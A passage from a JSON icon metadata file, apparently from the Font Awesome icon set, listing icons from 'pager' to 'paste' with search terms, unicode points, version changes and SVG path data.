        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z"
      }
    },
    "free": ["brands"]
  },
  "pager": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4df"],
        "secondary": ["10f815"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["beeper", "cell phone", "communication", "page", "pager"]
    },
    "styles": ["solid"],
    "unicode": "f815",
    "label": "Pager",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zm64 32v64c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H80zm136 0c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zm64 32v64c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 320c-13.3 0-24 10.7-24 24s10.7 24 24 24h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H80zm136 0c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c13.3 0 24-10.7 24-24s-10.7-24-24-24H216z"
      }
    },
    "free": ["solid"]
  },
  "paint-roller": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5aa"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "acrylic",
        "art",
        "brush",
        "color",
        "fill",
        "paint",
        "pigment",
        "watercolor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5aa",
    "label": "Paint Roller",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H352c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 352c0-17.7 14.3-32 32-32V304c0-44.2 35.8-80 80-80H416c17.7 0 32-14.3 32-32V160 69.5c37.3 13.2 64 48.7 64 90.5v32c0 53-43 96-96 96H272c-8.8 0-16 7.2-16 16v16c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H352c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM160 352c0-17.7 14.3-32 32-32V304c0-44.2 35.8-80 80-80H416c17.7 0 32-14.3 32-32V160 69.5c37.3 13.2 64 48.7 64 90.5v32c0 53-43 96-96 96H272c-8.8 0-16 7.2-16 16v16c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V352z"
      }
    },
    "free": ["solid"]
  },
  "paintbrush": {
    "aliases": {
      "names": ["paint-brush"],
      "unicodes": {
        "composite": ["1f58c"],
        "secondary": ["10f1fc"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "acrylic",
        "art",
        "brush",
        "color",
        "fill",
        "paint",
        "paintbrush",
        "painting",
        "pigment",
        "watercolor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1fc",
    "label": "Paintbrush",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M339.3 367.1c27.3-3.9 51.9-19.4 67.2-42.9L568.2 74.1c12.6-19.5 9.4-45.3-7.6-61.2S517.7-4.4 499.1 9.6L262.4 187.2c-24 18-38.2 46.1-38.4 76.1L339.3 367.1zm-19.6 25.4l-116-104.4C143.9 290.3 96 339.6 96 400c0 3.9 .2 7.8 .6 11.6C98.4 429.1 86.4 448 68.8 448H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H208c61.9 0 112-50.1 112-112c0-2.5-.1-5-.2-7.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M339.3 367.1c27.3-3.9 51.9-19.4 67.2-42.9L568.2 74.1c12.6-19.5 9.4-45.3-7.6-61.2S517.7-4.4 499.1 9.6L262.4 187.2c-24 18-38.2 46.1-38.4 76.1L339.3 367.1zm-19.6 25.4l-116-104.4C143.9 290.3 96 339.6 96 400c0 3.9 .2 7.8 .6 11.6C98.4 429.1 86.4 448 68.8 448H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H208c61.9 0 112-50.1 112-112c0-2.5-.1-5-.2-7.5z"
      }
    },
    "free": ["solid"]
  },
  "palette": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3a8"],
        "secondary": ["10f53f"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "acrylic",
        "art",
        "artist palette",
        "brush",
        "color",
        "fill",
        "museum",
        "paint",
        "painting",
        "palette",
        "pigment",
        "watercolor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53f",
    "label": "Palette",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256c0 .9 0 1.8 0 2.7c-.4 36.5-33.6 61.3-70.1 61.3H344c-26.5 0-48 21.5-48 48c0 3.4 .4 6.7 1 9.9c2.1 10.2 6.5 20 10.8 29.9c6.1 13.8 12.1 27.5 12.1 42c0 31.8-21.6 60.7-53.4 62c-3.5 .1-7 .2-10.6 .2C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 256c0 .9 0 1.8 0 2.7c-.4 36.5-33.6 61.3-70.1 61.3H344c-26.5 0-48 21.5-48 48c0 3.4 .4 6.7 1 9.9c2.1 10.2 6.5 20 10.8 29.9c6.1 13.8 12.1 27.5 12.1 42c0 31.8-21.6 60.7-53.4 62c-3.5 .1-7 .2-10.6 .2C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0-96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM288 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "palfed": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d8",
    "label": "Palfed",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z"
      }
    },
    "free": ["brands"]
  },
  "pallet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f482"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["archive", "box", "inventory", "shipping", "warehouse"]
    },
    "styles": ["solid"],
    "unicode": "f482",
    "label": "Pallet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 320 544h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H576V384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H544 320 96 32zm96 64H288v64H128V384zm224 0H512v64H352V384z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 320c-17.7 0-32 14.3-32 32s14.3 32 32 32H64v64H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96 320 544h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H576V384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H544 320 96 32zm96 64H288v64H128V384zm224 0H512v64H352V384z"
      }
    },
    "free": ["solid"]
  },
  "panorama": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["image", "landscape", "photo", "wide"]
    },
    "styles": ["solid"],
    "unicode": "e209",
    "label": "Panorama",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M45.6 32C20.4 32 0 52.4 0 77.6V434.4C0 459.6 20.4 480 45.6 480c5.1 0 10-.8 14.7-2.4C74.6 472.8 177.6 440 320 440s245.4 32.8 259.6 37.6c4.7 1.6 9.7 2.4 14.7 2.4c25.2 0 45.6-20.4 45.6-45.6V77.6C640 52.4 619.6 32 594.4 32c-5 0-10 .8-14.7 2.4C565.4 39.2 462.4 72 320 72S74.6 39.2 60.4 34.4C55.6 32.8 50.7 32 45.6 32zM96 160a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm272 0c7.9 0 15.4 3.9 19.8 10.5L512.3 353c5.4 8 5.6 18.4 .4 26.5s-14.7 12.3-24.2 10.7C442.7 382.4 385.2 376 320 376c-65.6 0-123.4 6.5-169.3 14.4c-9.8 1.7-19.7-2.9-24.7-11.5s-4.3-19.4 1.9-27.2L197.3 265c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l26.4 33.1 87-127.6c4.5-6.6 11.9-10.5 19.8-10.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M45.6 32C20.4 32 0 52.4 0 77.6V434.4C0 459.6 20.4 480 45.6 480c5.1 0 10-.8 14.7-2.4C74.6 472.8 177.6 440 320 440s245.4 32.8 259.6 37.6c4.7 1.6 9.7 2.4 14.7 2.4c25.2 0 45.6-20.4 45.6-45.6V77.6C640 52.4 619.6 32 594.4 32c-5 0-10 .8-14.7 2.4C565.4 39.2 462.4 72 320 72S74.6 39.2 60.4 34.4C55.6 32.8 50.7 32 45.6 32zM96 160a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm272 0c7.9 0 15.4 3.9 19.8 10.5L512.3 353c5.4 8 5.6 18.4 .4 26.5s-14.7 12.3-24.2 10.7C442.7 382.4 385.2 376 320 376c-65.6 0-123.4 6.5-169.3 14.4c-9.8 1.7-19.7-2.9-24.7-11.5s-4.3-19.4 1.9-27.2L197.3 265c4.6-5.7 11.4-9 18.7-9s14.2 3.3 18.7 9l26.4 33.1 87-127.6c4.5-6.6 11.9-10.5 19.8-10.5z"
      }
    },
    "free": ["solid"]
  },
  "paper-plane": {
    "aliases": {
      "unicodes": {
        "composite": ["f1d9"],
        "secondary": ["10f1d8"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["air", "float", "fold", "mail", "paper", "send"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1d8",
    "label": "Paper Plane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M498.1 5.6c10.1 7 15.4 19.1 13.5 31.2l-64 416c-1.5 9.7-7.4 18.2-16 23s-18.9 5.4-28 1.6L284 427.7l-68.5 74.1c-8.9 9.7-22.9 12.9-35.2 8.1S160 493.2 160 480V396.4c0-4 1.5-7.8 4.2-10.7L331.8 202.8c5.8-6.3 5.6-16-.4-22s-15.7-6.4-22-.7L106 360.8 17.7 316.6C7.1 311.3 .3 300.7 0 288.9s5.9-22.8 16.1-28.7l448-256c10.7-6.1 23.9-5.5 34 1.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M498.1 5.6c10.1 7 15.4 19.1 13.5 31.2l-64 416c-1.5 9.7-7.4 18.2-16 23s-18.9 5.4-28 1.6L284 427.7l-68.5 74.1c-8.9 9.7-22.9 12.9-35.2 8.1S160 493.2 160 480V396.4c0-4 1.5-7.8 4.2-10.7L331.8 202.8c5.8-6.3 5.6-16-.4-22s-15.7-6.4-22-.7L106 360.8 17.7 316.6C7.1 311.3 .3 300.7 0 288.9s5.9-22.8 16.1-28.7l448-256c10.7-6.1 23.9-5.5 34 1.4z"
      },
      "regular": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M16.1 260.2c-22.6 12.9-20.5 47.3 3.6 57.3L160 376V479.3c0 18.1 14.6 32.7 32.7 32.7c9.7 0 18.9-4.3 25.1-11.8l62-74.3 123.9 51.6c18.9 7.9 40.8-4.5 43.9-24.7l64-416c1.9-12.1-3.4-24.3-13.5-31.2s-23.3-7.5-34-1.4l-448 256zm52.1 25.5L409.7 90.6 190.1 336l1.2 1L68.2 285.7zM403.3 425.4L236.7 355.9 450.8 116.6 403.3 425.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M16.1 260.2c-22.6 12.9-20.5 47.3 3.6 57.3L160 376V479.3c0 18.1 14.6 32.7 32.7 32.7c9.7 0 18.9-4.3 25.1-11.8l62-74.3 123.9 51.6c18.9 7.9 40.8-4.5 43.9-24.7l64-416c1.9-12.1-3.4-24.3-13.5-31.2s-23.3-7.5-34-1.4l-448 256zm52.1 25.5L409.7 90.6 190.1 336l1.2 1L68.2 285.7zM403.3 425.4L236.7 355.9 450.8 116.6 403.3 425.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "paperclip": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4ce"],
        "secondary": ["10f0c6"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "attach",
        "attachment",
        "connect",
        "link",
        "papercli",
        "paperclip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0c6",
    "label": "Paperclip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M364.2 83.8c-24.4-24.4-64-24.4-88.4 0l-184 184c-42.1 42.1-42.1 110.3 0 152.4s110.3 42.1 152.4 0l152-152c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-152 152c-64 64-167.6 64-231.6 0s-64-167.6 0-231.6l184-184c46.3-46.3 121.3-46.3 167.6 0s46.3 121.3 0 167.6l-176 176c-28.6 28.6-75 28.6-103.6 0s-28.6-75 0-103.6l144-144c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-144 144c-6.7 6.7-6.7 17.7 0 24.4s17.7 6.7 24.4 0l176-176c24.4-24.4 24.4-64 0-88.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M364.2 83.8c-24.4-24.4-64-24.4-88.4 0l-184 184c-42.1 42.1-42.1 110.3 0 152.4s110.3 42.1 152.4 0l152-152c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-152 152c-64 64-167.6 64-231.6 0s-64-167.6 0-231.6l184-184c46.3-46.3 121.3-46.3 167.6 0s46.3 121.3 0 167.6l-176 176c-28.6 28.6-75 28.6-103.6 0s-28.6-75 0-103.6l144-144c10.9-10.9 28.7-10.9 39.6 0s10.9 28.7 0 39.6l-144 144c-6.7 6.7-6.7 17.7 0 24.4s17.7 6.7 24.4 0l176-176c24.4-24.4 24.4-64 0-88.4z"
      }
    },
    "free": ["solid"]
  },
  "parachute-box": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4cd"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["aid", "assistance", "goods", "relief", "rescue", "supplies"]
    },
    "styles": ["solid"],
    "unicode": "f4cd",
    "label": "Parachute Box",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M383.5 192c.3-5.3 .5-10.6 .5-16c0-51-15.9-96-40.2-127.6C319.5 16.9 288.2 0 256 0s-63.5 16.9-87.8 48.4C143.9 80 128 125 128 176c0 5.4 .2 10.7 .5 16H240V320H208c-7 0-13.7 1.5-19.7 4.2L68.2 192H96.5c-.3-5.3-.5-10.6-.5-16c0-64 22.2-121.2 57.1-159.3C62 49.3 18.6 122.6 4.2 173.6C1.5 183.1 9 192 18.9 192h6L165.2 346.3c-3.3 6.5-5.2 13.9-5.2 21.7v96c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V368c0-7.8-1.9-15.2-5.2-21.7L487.1 192h6c9.9 0 17.4-8.9 14.7-18.4C493.4 122.6 450 49.3 358.9 16.7C393.8 54.8 416 112.1 416 176c0 5.4-.2 10.7-.5 16h28.3L323.7 324.2c-6-2.7-12.7-4.2-19.7-4.2H272V192H383.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M383.5 192c.3-5.3 .5-10.6 .5-16c0-51-15.9-96-40.2-127.6C319.5 16.9 288.2 0 256 0s-63.5 16.9-87.8 48.4C143.9 80 128 125 128 176c0 5.4 .2 10.7 .5 16H240V320H208c-7 0-13.7 1.5-19.7 4.2L68.2 192H96.5c-.3-5.3-.5-10.6-.5-16c0-64 22.2-121.2 57.1-159.3C62 49.3 18.6 122.6 4.2 173.6C1.5 183.1 9 192 18.9 192h6L165.2 346.3c-3.3 6.5-5.2 13.9-5.2 21.7v96c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48V368c0-7.8-1.9-15.2-5.2-21.7L487.1 192h6c9.9 0 17.4-8.9 14.7-18.4C493.4 122.6 450 49.3 358.9 16.7C393.8 54.8 416 112.1 416 176c0 5.4-.2 10.7-.5 16h28.3L323.7 324.2c-6-2.7-12.7-4.2-19.7-4.2H272V192H383.5z"
      }
    },
    "free": ["solid"]
  },
  "paragraph": {
    "aliases": {
      "unicodes": {
        "composite": ["b6"],
        "secondary": ["10f1dd"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Pilcrow Sign", "edit", "format", "text", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f1dd",
    "label": "Paragraph",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M192 32h64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384l0 352c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-352H288V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H192c-88.4 0-160-71.6-160-160s71.6-160 160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M192 32h64H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H384l0 352c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-352H288V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H192c-88.4 0-160-71.6-160-160s71.6-160 160-160z"
      }
    },
    "free": ["solid"]
  },
  "passport": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5ab"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "id", "identification", "issued", "travel"]
    },
    "styles": ["solid"],
    "unicode": "f5ab",
    "label": "Passport",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM183 278.8c-27.9-13.2-48.4-39.4-53.7-70.8h39.1c1.6 30.4 7.7 53.8 14.6 70.8zm41.3 9.2l-.3 0-.3 0c-2.4-3.5-5.7-8.9-9.1-16.5c-6-13.6-12.4-34.3-14.2-63.5h47.1c-1.8 29.2-8.1 49.9-14.2 63.5c-3.4 7.6-6.7 13-9.1 16.5zm40.7-9.2c6.8-17.1 12.9-40.4 14.6-70.8h39.1c-5.3 31.4-25.8 57.6-53.7 70.8zM279.6 176c-1.6-30.4-7.7-53.8-14.6-70.8c27.9 13.2 48.4 39.4 53.7 70.8H279.6zM223.7 96l.3 0 .3 0c2.4 3.5 5.7 8.9 9.1 16.5c6 13.6 12.4 34.3 14.2 63.5H200.5c1.8-29.2 8.1-49.9 14.2-63.5c3.4-7.6 6.7-13 9.1-16.5zM183 105.2c-6.8 17.1-12.9 40.4-14.6 70.8H129.3c5.3-31.4 25.8-57.6 53.7-70.8zM352 192A128 128 0 1 0 96 192a128 128 0 1 0 256 0zM112 384c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H384c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM183 278.8c-27.9-13.2-48.4-39.4-53.7-70.8h39.1c1.6 30.4 7.7 53.8 14.6 70.8zm41.3 9.2l-.3 0-.3 0c-2.4-3.5-5.7-8.9-9.1-16.5c-6-13.6-12.4-34.3-14.2-63.5h47.1c-1.8 29.2-8.1 49.9-14.2 63.5c-3.4 7.6-6.7 13-9.1 16.5zm40.7-9.2c6.8-17.1 12.9-40.4 14.6-70.8h39.1c-5.3 31.4-25.8 57.6-53.7 70.8zM279.6 176c-1.6-30.4-7.7-53.8-14.6-70.8c27.9 13.2 48.4 39.4 53.7 70.8H279.6zM223.7 96l.3 0 .3 0c2.4 3.5 5.7 8.9 9.1 16.5c6 13.6 12.4 34.3 14.2 63.5H200.5c1.8-29.2 8.1-49.9 14.2-63.5c3.4-7.6 6.7-13 9.1-16.5zM183 105.2c-6.8 17.1-12.9 40.4-14.6 70.8H129.3c5.3-31.4 25.8-57.6 53.7-70.8zM352 192A128 128 0 1 0 96 192a128 128 0 1 0 256 0zM112 384c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z"
      }
    },
    "free": ["solid"]
  },
  "paste": {
    "aliases": {
      "names": ["file-clipboard"],
      "unicodes": {
        "secondary": ["10f0ea"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clipboard", "copy", "document", "paper"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0ea",
    "label": "Paste",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 0c-23.7 0-44.4 12.9-55.4 32H48C21.5 32 0 53.5 0 80V400c0 26.5 21.5 48 48 48H192V176c0-44.2 35.8-80 80-80h48V80c0-26.5-21.5-48-48-48H215.4C204.4 12.9 183.7 0 160 0zM272 128c-26.5 0-48 21.5-48 48V448v16c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V256H416c-17.7 0-32-14.3-32-32V128H320 272zM160 40a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm256 88v96h96l-96-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 0c-23.7 0-44.4 12.9-55.4 32H48C21.5 32 0 53.5 0 80V400c0 26.5 21.5 48 48 48H192V176c0-44.2 35.8-80 80-80h48V80c0-26.5-21.5-48-48-48H215.4C204.4 12.9 183.7 0 160 0zM272 128c-26.5 0-48 21.5-48 48V448v16c0 26.5 21.5 48 48 48H464c26.5 0 48-21.5 48-48V256H416c-17.7 0-32-14.3-32-32V128H320 272zM160 40a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm256 88v96h96l-96-96z"
      },
      "regular": {
        "last_modified": 1684767393,
